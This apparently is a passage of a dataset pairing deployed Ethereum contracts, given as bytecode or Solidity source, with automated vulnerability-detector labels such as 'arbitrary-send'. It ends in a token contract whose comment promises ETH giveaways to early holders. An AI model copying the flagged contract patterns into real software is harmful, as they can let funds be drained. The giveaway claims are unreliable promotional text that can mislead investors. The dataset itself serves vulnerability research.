0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305f3a8521461015c5780631f3ee21f146101b35780632ccc8727146101e05780634215da7d1461024d5780634d9b3735146102a4578063518ab2a8146102bb57806359b910d6146102e65780637f9f54951461032957806383fbc2b4146103545780638da5cb5b1461037f5780638f456125146103d65780639dc4b9c914610419578063a79fdbb414610444578063cabe2c0a14610473578063d7299ef71461049e578063e580b2b0146104cd578063ed188f33146104fc578063f2fde38b14610553578063ff186b2e14610596575b601a54341015151561011857600080fd5b600b60009054906101000a900460ff1615151561013457600080fd5b600b60019054906101000a900460ff1615151561015057600080fd5b61015a33346105c1565b005b34801561016857600080fd5b506101716108fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101de60048036038101908080359060200190929190505050610921565b005b3480156101ec57600080fd5b5061020b60048036038101908080359060200190929190505050610988565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025957600080fd5b506102626109c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102b057600080fd5b506102b96109ec565b005b3480156102c757600080fd5b506102d0610ac8565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b50610327600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ace565b005b34801561033557600080fd5b5061033e610b6d565b6040518082815260200191505060405180910390f35b34801561036057600080fd5b50610369610b73565b6040518082815260200191505060405180910390f35b34801561038b57600080fd5b50610394610b79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e257600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b005b34801561042557600080fd5b5061042e610c3d565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b50610459610c43565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610488610c56565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104cb600480360381019080803515159060200190929190505050610c5c565b005b3480156104d957600080fd5b506104e2610cd4565b604051808215151515815260200191505060405180910390f35b34801561050857600080fd5b50610511610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055f57600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0d565b005b3480156105a257600080fd5b506105ab610e62565b6040518082815260200191505060405180910390f35b60008060008060008060008792508890506105da610e68565b9550610601600c600554600c811015156105f057fe5b015487610e7290919063ffffffff16565b94506106168589610ead90919063ffffffff16565b93506006548410156106d05761063784600654610ec890919063ffffffff16565b60068190555061065288600854610ee190919063ffffffff16565b60088190555061066381858a610eff565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501580156106ca573d6000803e3d6000fd5b506108f0565b5b60008311156108ef5760065484111561074a5760065493506106fc8585610e7290919063ffffffff16565b91506107118284610ec890919063ffffffff16565b9250600b600554101561073d576001600560008282540192505081905550601854600681905550610745565b829650600092505b610752565b829150600092505b61075d818584610eff565b61077282600854610ee190919063ffffffff16565b6008819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156107df573d6000803e3d6000fd5b5060008311156107ff576107fc8584610ead90919063ffffffff16565b93505b60008711156108ea578073ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f1935050505015801561084e573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156108cd573d6000803e3d6000fd5b506001600b60016101000a81548160ff0219169083151502179055505b6106d1565b5b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b61098581611177565b50565b600a8181548110151561099757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ac5573d6000803e3d6000fd5b50565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2957600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf957600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600b60009054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb757600080fd5b80600b60006101000a81548160ff02191690831515021790555050565b600b60019054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610da457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000601954905090565b6000806000841415610e875760009150610ea6565b8284029050828482811515610e9857fe5b04141515610ea257fe5b8091505b5092915050565b6000808284811515610ebb57fe5b0490508091505092915050565b6000828211151515610ed657fe5b818303905092915050565b6000808284019050838110151515610ef557fe5b8091505092915050565b6000670de0b6b3a76400008302905082600760008282540192505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e02f80585846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610fe357600080fd5b505af1158015610ff7573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b8101908080519060200190929190505050151561110657600080fd5b7f8a7eaad672c52c2966090bc8f26a335bf67d8d1d442189f2f7e430c26aab99ec8482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6000662386f26fc10000905060008211151561119257600080fd5b816009819055506111ac8282610ead90919063ffffffff16565b60198190555050505600a165627a7a7230582020372bf999ccebed109fa0f1b422aa3036a7d586d16d8c00649beceb004fd31f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,780 |
0xd919a962caf08c90752856874f78122c64484e1c
|
pragma solidity ^0.4.21;
// File: ../node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: ../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: BaldcoinCore.sol
contract BaldcoinCore is Ownable, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
uint64 public cap;
uint64 public promo;
uint16 public cut;
uint256 public minBet;
mapping (string => bool) memeList;
uint256 public countingMeme;
address[] private users;
event CountUp( address indexed from, uint256 count );
event NewMeme( address indexed from, string meme );
function BaldcoinCore(string _name, string _symbol, uint8 _decimals, uint64 _cap, uint64 _promo, uint16 _cut, uint256 _minBet, address[] _users) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
cap = _cap;
promo = _promo;
cut = _cut;
minBet = _minBet;
users = _users;
countingMeme = 0;
totalSupply_ = _cap;
uint256 _availableSupply = _cap - _promo;
balances[msg.sender] = _availableSupply;
Transfer(0x0, msg.sender, _availableSupply);
uint256 _promoAmount = _promo / users.length;
for (uint16 i = 0; i < users.length; i++) {
balances[users[i]] = _promoAmount;
Transfer(0x0, users[i], _promoAmount);
}
}
function setCut(uint16 _cut) external onlyOwner {
require(_cut > 0);
require(_cut < 10000);
cut = _cut;
}
function setMinBet(uint256 _minBet) external onlyOwner {
require(_minBet > 0);
minBet = _minBet;
}
function addToMemeList(string _meme) external {
require(memeList[_meme] != true);
memeList[_meme] = true;
NewMeme(msg.sender, _meme);
}
function countUp() external {
countingMeme += 1;
CountUp(msg.sender, countingMeme);
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd5780630bd8599e1461022257806318160ddd1461023957806323b872dd14610264578063313ce567146102e9578063355274ea1461031a578063661884631461035957806370a08231146103be5780637bb8c4e51461041557806388ea41b91461044657806389f9b01e146104735780638da5cb5b1461049e57806395d89b41146104f55780639619367d14610585578063a9059cbb146105b0578063d73dd62314610615578063dd62ed3e1461067a578063de80b0a5146106f1578063e6fd604c14610730578063eff5c26614610763578063f2fde38b1461079e575b600080fd5b34801561013957600080fd5b506101426107e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087f565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610971565b005b34801561024557600080fd5b5061024e6109d4565b6040518082815260200191505060405180910390f35b34801561027057600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109de565b604051808215151515815260200191505060405180910390f35b3480156102f557600080fd5b506102fe610d9d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032657600080fd5b5061032f610db0565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561036557600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dca565b604051808215151515815260200191505060405180910390f35b3480156103ca57600080fd5b506103ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061105b565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b50610444600480360381019080803561ffff1690602001909291905050506110a4565b005b34801561045257600080fd5b5061047160048036038101908080359060200190929190505050611146565b005b34801561047f57600080fd5b506104886111ba565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050157600080fd5b5061050a6111e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054a57808201518184015260208101905061052f565b50505050905090810190601f1680156105775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059157600080fd5b5061059a611283565b6040518082815260200191505060405180910390f35b3480156105bc57600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611289565b604051808215151515815260200191505060405180910390f35b34801561062157600080fd5b50610660600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ad565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b506106db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a9565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b50610706611730565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34801561073c57600080fd5b5061074561174a565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561076f57600080fd5b5061079c60048036038101908080359060200190820180359060200191909192939192939050505061175e565b005b3480156107aa57600080fd5b506107df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184e565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60016009600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f0cb69cabcce422c5756ac616436392e5ea9d7759ae3ea93787195b78aba72e1d6009546040518082815260200191505060405180910390a2565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a1b57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a6957600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610af457600080fd5b610b4682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119a390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bdb82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cad82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119a390919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b600660019054906101000a900467ffffffffffffffff1681565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610edb576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6f565b610eee83826119a390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ff57600080fd5b60008161ffff1611151561111257600080fd5b6127108161ffff1610151561112657600080fd5b80600660116101000a81548161ffff021916908361ffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a157600080fd5b6000811115156111b057600080fd5b8060078190555050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561127b5780601f106112505761010080835404028352916020019161127b565b820191906000526020600020905b81548152906001019060200180831161125e57829003601f168201915b505050505081565b60075481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112c657600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561131457600080fd5b61136682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119a390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113fb82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061153e82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660099054906101000a900467ffffffffffffffff1681565b600660119054906101000a900461ffff1681565b600115156008838360405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff161515141515156117a457600080fd5b60016008838360405180838380828437820191505092505050908152602001604051809103902060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f6a2484f03f7b5bbaed066c9a38b911f8750312a40d1e0a490631b9b30ab66e1c8383604051808060200182810382528484828181526020019250808284378201915050935050505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118e557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156119b157fe5b818303905092915050565b600081830190508281101515156119cf57fe5b809050929150505600a165627a7a72305820f61b5793003a8909a46d6484954d4e77990608b3f0c61daae9602fd7088a1c660029
|
{"success": true, "error": null, "results": {}}
| 8,781 |
0x6b050db71a7172d3f1eafd5415fe7c2cee9ef555
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
// SPDX-License-Identifier: Unlicensed
/**
Launch in 10 minutes
Mastering Bitcoin-Unlocking Digital Cryptocurrencies
Every Bitcoin wallet contains one or more private keys, which are saved in the wallet file. The private keys are mathematically related to all Bitcoin addresses generated for the wallet.
We believe in fairness and freedom, and we hope that $Base58 is a collective of equal relationships. If you have wisdom, you are welcome to join us. This is not just DAO.
The first 300 holders and enter our discord will receive 0.1 ETH, only once per Discord member per address.
Our Web and Discord based on Base58
2b6NigdQEu4DPQPo9e2heprfGjzT
B7HFCdKQ6cBG6DNn71rHswJZbZ4RNuSkuZ
x6kGfdYShzWPzoF4rLVXbzyPRuMaSinigB
Bless everyone
Total: 100,000,000,000
Liquidity: 24 ETH
Max buy: 300,000,000 = 0.3%
Max wallet: 600,000,000 = 0.6%
Slippage: buy 5% and sell 8%
When we reach 300 holders who had received 0.1 ETH, we reduce the slippage to 1% and then will renounce.
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
